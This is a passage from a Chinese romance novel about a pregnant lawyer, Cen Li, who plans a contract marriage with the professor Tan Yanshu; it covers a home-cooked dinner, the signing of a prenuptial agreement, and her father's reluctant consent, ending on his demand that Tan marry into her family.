两人走了几步,徐远忱回头,“妈,你晚饭是不是也没吃呢?” 岑礼停下来,“要不我守一会儿,阿姨你和我哥在这附近吃点东西再来换我吧。” “你吃过了?”徐远忱视线终于落在她脸上,不太相信。 “刚才等我爸做手术的时间,我回车里啃了两个面包,现在不饿。”岑礼撒了慌,她吃的哪里是面包,分明是檀砚书给她送来的盒饭。 荤素搭配,营养均衡,清淡爽口一点都不油腻。 大约两个小时以前,岑礼在手术室外接到檀砚书的电话。她本不想搭理,却在听筒里传来熟悉的环境音时,顺着本能朝外面看过去。 檀砚书没进急诊大楼,拿着饭盒站在楼外面,顶风站着。 岑礼出来,猛地被风一撩,双目瞬间湿润。 “你怎么来了?”她不是说了不用他帮忙嘛! “下午买的菜,我挑着做了两个,猜到你在医院手忙脚乱,肯定不记得吃晚饭……但是孕妇不能挨饿。” “反正我晚上在家待着也没事,索性给你当一回送餐员。” 檀砚书说着,站到风口去替岑礼挡住了风。 6. ⑥个吻 岑礼在江阳的引荐下见到了他的那位同学——陈琳女士,然后意外发现,这起婚姻撤销案的原告,好巧不巧就是那位六院骨科的杜医生。 徐悦说他们国庆刚办完婚礼,这才两个月,就对簿公堂,说来令人唏嘘。 不过换位思考也不难理解人家杜医生。相亲认识的恋人,两人婚前感情基础本就薄弱,刚结婚就发现妻子隐瞒重大遗传病,搁谁谁受得了。 周四下午,陈琳抽空到志成所和岑礼签订了书面合同,律师费最后谈成是一万五,金额敲定以后岑礼算了一下,除去律所管理费、税费和给江律的介绍费,她能分到八千多。 加上底薪和法援案的补助,她下个月发薪到手能有一万多。 在沪城,月薪一万只是及格水平,要不是她有房有车还不用自己还房贷,一毕业就被外地人给卷死了。 岑礼作为土生土长的本地独女,只是占了投胎优势,实际吃苦、抗压能力和野心,一样也比不过她的那些同事们,稍微不努力就连实习律师都有可能把她按在地上摩擦。 今时不同往日,她一旦和檀砚书结婚,以后她和孩子的花销、还有公主每个月的猫粮和猫砂钱,都得她自己负担。 养孩子比养猫可费钱多了,以后她每个月买衣服都得掂量着来了,否则积蓄耗尽,她这点工资根本不够宝宝的奶粉钱。 岑礼手里把玩着工牌,送走陈琳,经过茶水间的时候遇上徐远忱。 “还不是接了。”他的声音飘过来,目光定在她身上。 岑礼步子顿住,朝他看过去,“我觉得你说的对,我现在的情况,有案子总比没有的好。” 徐远忱没深究岑礼的话里有话,端着茶杯看了眼四周。没人注意他们。 “下午我舅舅去医院看叔叔,你吃了晚饭以后再过去吧。”徐远忱离开前提醒。 岑礼和徐仁关系紧张,徐远忱担心他们两个碰上。公共场合,嗓门大的人有理,他担心岑礼受欺负。 岑礼点点头,“原本也想晚点过去的。” 她晚上约了檀砚书。医院食堂都是大锅菜,徐悦和岑肃山这种吃惯食堂的人无所谓,她不行。 上回尝过檀砚书做的菜,这两天吃外卖的时候她总想着那一口,不知道是不是新鲜感作祟,她对檀砚书的厨艺评价颇高。 所以晚上借着签婚前协议的机会,岑礼和檀砚书约好了去他那儿。 没到下班点,岑礼见佟文涛夹着包出去了,她也收拾收拾东西,悄无声息地离开了工位。 给檀砚书打电话的时候他刚下课,声音有些劈,中途喝了口水润嗓子,问她晚上想吃什么? 岑礼点了菜,问他:“要不要我去学校接你,一起去买菜?” “不用,菜市场近,我骑车去。”他边接电话边往办公室走,步伐不自觉加快。 岑礼没和他客气,菜市场那种地方她确实也有些抗拒,听话地直接开车导航檀砚书租住的小区,在门口那家猫咖等他买菜回来。 等待的工夫,她又检查了一遍协议内容,确定无误后将协议装回文件袋里,靠在沙发上小憩。 大概是岑肃山突然住院,她每晚下班以后都要在医院陪到九十点,加之孕妇本来就更容易疲惫,这两天,岑礼明显感觉到觉不够睡。 以前午休时间她还可以抽空看个剧,现在她吃完饭准时去车里报到,眯一会儿比什么都重要。 檀砚书拎着菜,走到猫咖门口,远远就看见岑礼懒懒地靠在沙发上,侧着的半张脸映在余晖里,好像太阳不急着下山只为能落在她的脸上,给她渡一层温柔光晕。 他没忍心打扰,轻轻走到玻璃墙外,掏出手机拍下了这一幕。 有过一次自定义锁屏的经验,再换壁纸的时候,檀砚书驾轻就熟。 岑礼无意识地被看了许久,没有转醒反而越睡越沉,脖子越歪越下,在完全栽下的瞬间,她突然醒过来,双目惺忪地看见了一墙之隔,伸手做出虚扶动作的檀砚书。 她笑了。 “一觉醒来就看见帅哥的感觉真不错。”岑礼穿好外套出来,看着比刚才还要更加清晰的男人的脸,暗自庆幸自己的近视手术没有白做。 一个多月以前,她还是那个隐形眼镜掉落以后连帅哥长什么样都看不清的半盲人,现在就算眼睛没有完全睁开也可以看清人,怎么能不欣喜呢? 原来视力正常的人的世界是这样的。以前眯一会儿就得摘隐形眼镜,为了避免反复摘、戴,她几乎从不在家以外的地方睡觉;要是倒霉,在外面一个不小心弄丢了隐形眼镜,她睁眼闭眼几乎就没有差别了。 “我睡了很久吗?”她没去看手机,并肩走在檀砚书身侧。 “没有,我刚到。”他指了指自己住的那栋单元楼,“老小区,没有电梯的五楼,等下可能需要你克服一下。” 这几次见面,岑礼的穿搭都颇为讲究,况且岑肃山所住的小区是这一片有名的高档小区,她应当是不常走楼梯的。 “我只是怀孕了,又不是残疾了,区区五楼。”岑礼大言不惭地说:“之前实习的时候陪我师傅跑一个案子,我最高爬过十三层楼呢,而且我平时周末也会参加一些户外运动,比如徒步什么的。” 她才没有他以为的那么娇生惯养,都饭来张口了,爬几级台阶又有什么呢? 岑礼没拿包,只手里揣了个文件袋,跟在檀砚书后面。 进屋,没换鞋,她站在鞋柜旁打量了一眼空荡荡的客厅,一张简易沙发上满是斑驳痕迹,墙面也不乏掉皮和污渍,看得出这房子很有些年头。 “这客厅就是个摆设。”檀砚书引着她往里走,“原户型挺大的,只是被房东拆租成了三户,我的房间带独卫和阳台,空间还可以。” 来沪城一年多,檀砚书除了二顾茅庐到岑肃山家里拜访过,还从未去其他同事家里做过客。 在首尔的时候,因为租房保证金高昂,檀砚书住的也是一间面积不大的小公寓,甚至租金比现在这间核下来还能便宜几百。 在外漂泊久了,他对居住环境其实没有太高的要求,能做饭、有独卫、衣服可以晒到阳光,他就满足了。 檀砚书租住的房间,被中介称之为“1室0.5厅独厨独卫”,进门便是厨房,角落里的卫生间逼仄没有干湿分离,但胜在新装修过,热水有保障。侧边的门通向卧室,岑礼在这里脱鞋,穿着袜子走进去。 明明不算大的卧室,乍一看却很空旷。 卧室里没有床,一张床垫平铺在角落里,看宽度只比宿舍里的稍宽,长度却留足了,床上黑色珊瑚绒的三件套本应该干净整洁地呈现在她面前,却被一只黑猫掀乱。 阳台边的角落里有一只懒人沙发,也是纯黑色的,旁边是一盏落地灯,和一组猫爬架。 对面墙边是一体式的衣柜和书桌柜,书架上肉眼可见堆满了书,还有零散几张黑胶。 唱片机就搁在书桌边上,让檀教授的房间格调一下上升了好几个档次。 岑礼指了指床和沙发之间的那只矮脚小茶几,问他:“为什么唱片机不放这?”下雨天窝在沙发里听唱片,多惬意啊。 檀砚书在厨房里,买来的菜搁在水池里,他已经麻溜地套上了围裙,这会儿听到岑礼和他说话,靠上门框。 “放在那警长跳来跳去会撞到。”他指了指床上那只懒猫,“它叫警长,一只中华玄猫。” “它好黑啊,我一开始都没发现它。”它刚刚躲在被子里,与黑色床品融为一体。 “你可以和它玩一会儿。我前两天带它去测过弓形虫,很健康。”檀砚书从冰箱顶上拿来一根逗猫棒,递给岑礼。 接下来房门被关上,属于大厨的烹饪时间开始。 岑礼逗了会儿猫,本想陪一陪檀砚书,结果门刚开一个小缝,她就被油烟味儿赶了回来。 怀孕以后嗅觉变得格外灵敏,她摸了摸警长的小鼻子,自我安慰道:“不是我娇气哦,是你们家油烟机不行。” 茶几不大,四菜一汤差点放不下。 檀砚书简单整理过厨房,和岑礼一前一后洗了手,席地而坐。 茶几旁是透明推拉门,门外是阳台,岑礼感慨:“如果楼层再高一点,边吃饭边看夜景,你这小房间也挺惬意的。” 檀砚书点头,“下次换房子是考虑换得高一点。” “你是自己住?”他给岑礼盛了碗汤,递过去。 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檀砚书安静吃饭,听她又絮叨了几句。 一大锅玉米排骨汤,岑礼因为米饭吃的有点多,没喝多少,心里觉得实在浪费,问檀砚书家里也没有饭盒,她想给岑肃山带些过去尝尝。 “正所谓拿人家手短,吃人家嘴软,我爸这人我了解,要知道你厨艺这么哇塞,他对我们的婚后生活也能放心些。” 檀砚书找来全新的打包盒,“有时候会带点健身餐去学校,买了这种可降解的,等下我再拿保鲜膜固定一下,以免洒掉。” 岑礼点点头,“一会儿我来弄吧,你看下婚前协议内容,如果有什么问题你圈出来,我明天修改完签字后给你。” “不用看。”檀砚书盛好汤,将书桌上的文件拿出来,干脆利落签上自己的名字。 岑礼困惑,“你都不看一下的嘛?” 他笑笑,“我一穷二白,没什么亏可以吃。” 檀砚书天生有种孤寂的气质,尤其在这只有黑白色调的房间里,像有一股隐形的力量,将他推至墙角,给他整个人平添些许破碎感。 “你这个心态就容易吃大亏。” 他抿起唇,“偶尔吃一点亏,也没什么。” 因为这个人是岑礼,因为他心里那点不为人知的愧疚,如果非要让檀砚书在这段虚假的婚姻里面吃一点亏,他大概也甘之如饴。 “除了协议上的条款,我还有一件事情想要拜托你。” “你说。” “等你进了我爸的科研组以后,可以帮我监督他按时吃饭吗?” 岑礼剩下的亲人不多了,她希望岑肃山能够健健康康的。 科研是重要,但是留得青山在才不怕没柴烧,她担心岑肃山一进实验室就忘我。 “可以。”檀砚书毫不犹豫地应下。 岑礼去医院的一路上都在想,如果没有遇见她,檀砚书这个人是否也会为了进这个科研组而不惜以婚姻作为代价。 应该也会的吧。毕竟最开始的那通电话,是他主动打过来的。 真是个热爱科研事业的好青年。 可岑肃山这人愣是眼拙,让这颗明珠蒙了尘。 到了病房,岑礼将汤倒进岑肃山的饭盒里,打热过后端到岑肃山面前,看他眉眼带笑地一汤匙一汤匙地细品。 “怎么样,这汤还可以吗?” 岑肃山以为这是女儿亲手做的,心里还感动呢,赞不绝口:“岂止是还可以,都快赶上你阿姨的水平了。” “嘿嘿,那您这是很高的评价了。” 岑礼狡黠笑笑,故意道:“我可不敢自己居功哈,这汤是您女婿做的,他人就在外面呢,您要见见嘛?” 岑肃山愣了愣,想起下午徐悦的老同事苏芳来病房看他,聊起前几天在医院走廊里看到的求婚场景,说那天被求婚的姑娘看着很像是他们家礼礼。 当时岑肃山觉得好笑,连照片都不屑看一眼,现在却突然不安起来。 “什么女婿?” 岑肃山眼神立即沉下去,放下了手里喝到一半的汤。 7. ⑦个吻 周末,岑礼带檀砚书上门。 原定的周六,因为徐远忱出差未归而推迟一天。岑肃山大病初愈,一时之间还难以承受这么突然的事儿,坚决要求等徐远忱回来,全家人一起三堂会审岑礼这位从天而降的“男朋友”。 徐远忱也意外,在苏州出差接到徐悦的电话,接通后是岑肃山向他打听岑礼这段时间的感情情况。 徐远忱愣了愣,不确定道:“卫宇哲出国之前,礼礼和他应该是和平分手了。” “你确定是和平分手?”岑肃山和徐悦看着卫宇哲那小子长大,他几斤几两、会不会做菜,岑肃山心里门儿清。岑礼口中的这位男友绝不是他。 “除了卫宇哲呢?” 岑礼从小就乖巧,循规蹈矩二十六年,她做过最出格的一件事情,不过是高中时不顾他的反对坚决选了文科。 这会儿卫宇哲才出国一个多月,她就要带回家一个新男友,还说两人是奔着结婚去的,多少让人有些不安。 别是遇到什么软饭硬吃的捞男了吧? 岑礼心软,又刚经历分手,如果这时候被坏人趁虚而入,恐怕也只有徐远忱说的话她能听进去。 作为慈父,岑肃山实难做出拆散鸳鸯的事,之前岑礼突然宣布和卫家那小子恋爱时,他哪怕并不看好,可还是硬着头皮什么都没有说。 礼礼很早就失去了妈妈,他不希望他这个爸爸在她眼里是站在对立面的,他想给女儿撑腰,想补偿她从小就缺失的那一半亲情,可是这么多年来他们父女两沟通的次数屈指可数,他沉默的父爱最后只能落在通过金钱来表达。 除了前两年给岑礼买的一套小三居,岑肃山还以岑礼的名义设立了一个信托基金,这几年收益可观,岑肃山打算等岑礼结婚时让她拿去做嫁妆,如果那人打的是这些钱的主意…… 岑肃山不方便告诉徐远忱实情,只说:“你妹妹年纪小,对人对事了解的都太少,我担心她被骗。” 徐远忱听完也忧心起来,“我上次听我妈说礼礼要带朋友回家吃饭,还以为是女性朋友,就没多问……怪我。” “阿远,叔叔拜托你了……”在岑礼的事情上,岑肃山见证过徐远忱的能力,他是他最信任的人。 徐远忱不负重托,在周六下午提前出差回来,当晚就回了家。 微信上徐远忱的问号一个接一个,岑礼莫名心虚,只回了一句:【明天当面说。】 周日,岑礼睡到自然醒,去接檀砚书的路上顺路从林双语那儿接回了度假归来的公主。 公主是岑礼养的一只布偶猫,前段时间跟着它干妈自驾游去了趟云南,历经三个多月,再见面,公主都不亲她这个亲妈了。 岑礼到家的时候,在停车场看到了徐远忱的一汽大众,和公主对视一眼,哄道:“一会儿你要有点眼力见哦,如果舅舅和外公不让你爸进门,可就靠你了。” 说完自己也觉得奇怪,不自觉地看了眼左右手都拎满东西的檀砚书。 她为什么说檀砚书是它爸?到底是谁入戏太深? “第一次见颜值这么高的布偶。”檀砚书看着岑礼怀里的公主,眼神都变得柔和起来。 公主“喵~”一声,够着脖子想去舔檀砚书。 “你怎么也是只颜狗!不对……你个颜猫,被帅哥夸一下就忘本了是吧?”岑礼拍了下它小屁屁,替她向檀砚书道谢。 两人一起乘电梯上楼。 两梯两户的电梯房,檀砚书并不是第一次来这里,但却比之前两次都要更加紧张。 “我真的有可能被岑教授轰出来么?”他抿着唇,不安地看向岑礼。 岑礼放下公主,伸手拍了拍他胳膊,“真被轰出来又怎么了?为了你的科研事业,这算得了什么?” “也对。”檀砚书点点头,壮着胆子去敲门。 岑礼在身后笑,“你敲什么门,这我家,我有门禁卡。” 说完不等她从包里翻出门禁卡,门从里面被推开,露出徐远忱异常严肃的一张脸。 “哥。”岑礼快步上前,看见公主快人一步溜进去,慢慢挤出个笑来,“这是我男朋友,檀砚书。” 岑礼将门彻底拉开,推了推檀砚书的后背,“这是我哥,徐远忱徐律师。” 徐远忱视线落在檀砚书脸上,好半天才往客厅里退,留出空间给他们两个换鞋。 岑礼有自己的拖鞋,打开鞋柜给檀砚书拿了双一次性拖鞋。 “你坐着换鞋。”檀砚书提醒她,想起第一次在这里见到她时,她将包包搁在椅子上,弯腰换鞋时身体歪歪扭扭似乎并不协调。 檀砚书蹲下来,换好拖鞋,重新拎上东西准备搁到上回徐悦领着他放酒的置物架上,被岑礼一把拦了下来,拉着他直接进驻客厅。 岑肃山坐在沙发上,正低头摸着公主殿下,脸上表情柔和。 “爸,这是砚书给您买的酒,还有给我哥和阿姨买的见面礼,搁这儿了啊。”说着让檀砚书把东西搁到茶几上,推着他坐到沙发上。 岑肃山抬头,轻飘飘地看了眼檀砚书,视线又落回到公主身上,没发一言。 “爸!”岑礼从他身上抱走公主,埋怨他:“不是你让我把人带回家的么,现在又不说话,您干嘛呀?” “你让他自己和我说。”岑肃山开口,目光落在檀砚书端正并着的膝盖上。 “教授……”檀砚书看了眼岑礼,又去看岑肃山,语气里底气全无。 “你要是叫我教授,那就是公事儿,等过几天我去学校了你单独找我,我会重新考虑你的申请。”岑肃山怀疑檀砚书盯上他女儿就是为了进科研组,这小子贼心不死,憋来憋去整了个大的。 “不是……叔叔。”檀砚书改口,突然站起来,深鞠一躬。 徐远忱帮着徐悦端了两杯茶过来,一杯搁到檀砚书面前,另一杯递给岑肃山。 岑肃山伸手接过,轻轻揭开盖子吹了几口,滚烫的热茶含进嘴里。 “爸,你这是干什么呀,甩脸子给谁看啊,既然这么不欢迎我们那我们走了。”说着一把拉过檀砚书的胳膊,作势要走。 徐远忱眼疾手快将岑礼拉住,“怎么胳膊肘往外拐呢?叔叔这也没说什么吧?” “话是没说,可你看他那脸色。”审犯人似的。 “你爸我大病初愈,脸色差你不知道?”岑肃山搁下茶杯,看向自家女儿。 “我前两天见您可不是这样的脸色。”岑礼松开檀砚书,拉着他一起在徐远忱旁边坐下。 “说说吧,你和这位檀……是姓檀吧,说说你们怎么认识的,我妈说他上个月来家里的时候你们两个还都不认识呢。”徐远忱接过岑肃山的指示,直入主题。 “谁说那时候我们不认识了,只是他之前一直不知道我就是岑肃山教授的女儿,突然在家里见到我,不确定我方不方便承认他,所以当时装作不认识我。”岑礼谎话说来就来,看向檀砚书。 “是,那天我才知道礼礼是岑教授的女儿。”这句他没说话,眼神清明。 “怎么认识的?”岑肃山问。 “宠物医院认识的,我们两个人都养了猫。” “在一起多久了?” “一个多月。但我们认识快半年了。” …… 檀砚书按照事先在车上岑礼给的剧本,一一回答了岑肃山刁钻的问题。 毕竟是以后在学校还要打交道的关系,岑肃山没有真的不给檀砚书情面,基本信息了解过后,端着茶杯假借续杯的名义去厨房看正在准备饭菜的徐悦。 客厅交给徐远忱。 “才相处一个月,是不是太短了些?”徐远忱看着岑礼手上的钻戒,觉得岑肃山的担心不无道理。 虽然檀砚书这个人看上去挺正人君子的,可是俗话说得好,人不可貌相,长得好看的人最具有迷惑性。 “要是参考对象是你和隋甯姐,那确实时间太短。”接话的人是岑礼,她说的隋甯是徐远忱交往了六年多的女友,来过家里很多次,早就获得了徐悦和岑肃山的认可。 “和谁比,刚谈一个月就结婚也是冲动,你这是闪婚你知道吗?” 岑礼看了眼檀砚书,表情叛逆,“闪婚怎么了?我之前说不婚你们不同意,现在我想结婚你们又不让,到底想让我怎么样?” 岑肃山终于回来,接过交接棒,替徐远忱撑腰,“你哥不也是为了你好?我们说了不让你结婚嘛?只是说你们两个刚在一起,彼此之间还不够了解,现在结婚过于冲动了一些,爸爸也没有说反对你们啊。” “这样,爸爸同意你们交往,但是结婚的事情,咱们得从长计议。”岑肃山做出让步,满眼期待地看着岑礼。 “不行。”岑礼态度坚决,“一会儿走的时候您就得把户口本给我们。” “怎么说风就是雨呢?”徐远忱和岑肃山对视一眼,都觉得如此坚决的岑礼过于陌生。 还真像是被这个男人迷了心窍。 “礼礼。”岑肃山语气软下来,“你今年才二十六,再等个两年再结婚也晚,咱们不着急。” “爸,我急。”岑礼伸手捏了捏檀砚书,一下,两下,三下。 第三下结束,两人一起起身,“咣当”一声就跪下。 “爸,我必须尽快结婚,我怀孕了。” 岑礼抱着赴死的心,看都不敢看岑肃山的脸。 身侧,抱着公主的徐远忱也是一愣,好半天才确信自己的耳朵没有听错,慌忙去查看岑肃山的表情。 …… 岑礼好几天没再回家,在律所里几次碰见徐远忱,对方脸上的表情都不算好,想要教育她的心思藏都藏不住。 岑礼拒绝和他沟通,干脆在律所绕着他走,接连几次之后被佟文涛看见后调侃:“不知道的还以为你们师兄妹办公室恋情破裂了呢,跟小情侣怄气似的,小徐怎么得罪你了?” “什么啊,我们不是那种关系。”岑礼说:“徐律一直有女朋友,您不知道吗?” 佟文涛被问得一愣,“没听说呀。” “可能是他朋友圈从来不秀恩爱,恋爱比较低调。但据我所知,徐律和女朋友在一起好几年了,感情一直稳定,现在这么拼命都是为了买婚房结婚呢。” 话题被这么一转,佟文涛的注意力也不再落在他们二人身上,话题就此揭过去。 岑礼打定了主意要结这个婚,周末前将自己的孕检单拍照发给岑肃山,通知道:【如果您不想您的外孙生下来就单亲,那不结婚也成。】 檀砚书倒是没受什么影响,继续上课、改论文,等候岑礼的下一步安排。 周五的早会,岑肃山销假后回归,散会后叫住檀砚书:“我们聊聊。” 檀砚书本来也有问题问他,没有岑礼在一旁做指挥,他虽然觉得心里没底,但有些话说出来也更为容易一些。 岑肃山问他:“你怎么打算的?” “我会负责。”他像是下定了某种决心,“我求婚了,礼礼也答应了,希望教授准许我们结婚。” “我是问你结婚怎么打算的。” 岑肃山整张脸 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“抱歉,那时候我并不知道礼礼不是单身。” “你让我说你什么好啊!”岑肃山屁股离开凳子,站起来又坐下。 真要是同意他们结婚了,回头卫家父母知道了又有的闹,可是不让他们结婚吧……孩子怎么办? 思虑再三,岑肃山不退让显然不行,手中的矿泉水瓶已经被他捏的变了形。 “据我所知,你在沪城是租房住,是不是车也没有?” “沪城房价有点高,以我目前的资历,买房有点困难,车……我的工作性质和礼礼不一样,也不是刚需。” “车得买。”岑肃山严肃道:“礼礼的房子离他们律所近,离这儿还是有些距离的。你没有房子,结婚以后肯定是住她那儿,再没有辆车,以后接送孩子的事情你指望礼礼一个人做?” 檀砚书抬头,意外岑肃山居然想的这么长远。 “车子我可以买。”他没有犹豫。 “最好是买辆电车,空间大一点的,现在新能源有优惠政策,还不限号。” “好。” “暂时不买房不代表你可以永远不买,我记得你从首尔大过来是有安家费的吧,最迟孩子上小学之前你得买一套好学区的房,能做到吗?” “可以。” “婚礼现在办肯定是来不及了,但不代表你可以怠慢我们家礼礼,等孩子生下来,该有的东西一个也不能落下。” “明白。” 岑肃山见他如同Ai的对答,心里有火,桌子底下抬脚踹了他一下,“你自己就没有什么想说的?” 檀砚书抬头,眼睛有一些红,目光落在岑肃山紧紧攥着的拳头上,恳切地说:“对不起,叔叔。” 他承诺:“我一定会照顾好礼礼的。” 岑肃山再次起身,从口袋里掏出个什么东西,推到檀砚书面前。 是户口本。 檀砚书收起户口本,心中五味杂陈,好半天都没回过神来,直到岑肃山起身准备离开,发话:“领完证跟礼礼一起回家吃饭,上次太突然,饭都没吃。” 檀砚书说好,后知后觉地拉住他,想起岑礼的嘱咐,提议:“都这个点了,差不多该吃午饭了,我请您吧。” …… 当晚,户口本辗转至岑礼手中,檀砚书几句箴言,给岑礼描绘出一个父爱如山的形象。 岑礼心怀愧疚,难得主动破冰,给岑肃山打去电话,为那天自己的快言快语道歉。 岑肃山好哄,几句话一说,他就知道檀砚书在这其中发挥了什么作用。 看着冷,话也不多,可心肠不坏。 这也是为什么他最后会松口的原因。 结婚是长期投资。虽然眼前檀砚书的年薪并不优渥,在沪城根基浅薄,可人家怎么说也是名校博士,在科研方面也有一定建树,否则沪江大学的门槛他也踏不进来。这样的人才,好好利用起来,说不定可以代替岑礼接他的班,为国为家都是未来可期。 只是相较其他搞学术或者搞科研的高知分子,檀砚书这个人的外形有些过于招摇,好在性格偏冷,一般人只敢远观没胆子上手,让他们家囡囡先下手为强了。 早听说这位新来的副教授不善交际,虽然他的课总是人满为患,可要说身边有什么女老师女学生的,那还真是没有,这人一心扎在科研工作中,倒还真有几分他当年刻苦耐劳的样子。 岑肃山犹豫再三,还是忍不住问出口:“礼礼呀,檀砚书这个人性格冷得很,科研工作又乏味枯燥,这决定了他在日常生活中也绝不可能幽默风趣,甚至各方各面都需要你的迁就和包容。你和这样的人在一起,时间久了,真的不会觉得委屈吗?” “礼礼,你真的想好了吗?” 岑礼不假思索,“想好了。” 她又不是真和人家结婚,至于想这些嘛。 殊不知,电话那头,岑肃山站在寒风料峭的阳台上,一根烟接着一根。 “我还有最后一个要求。”挂断电话之前,岑肃山开口。 “您说。” “房子车子,这小子现在什么都没有,结婚以后都要占你的便宜。他父母那边出不上力,孩子生下来你婆婆也不可能来伺候你月子,到时候肯定是请月嫂,所以我想啊……这婚可以结,但是我们家不嫁女儿。” “让他入赘,孩子随母姓,他同意你们就去领证,不同意……”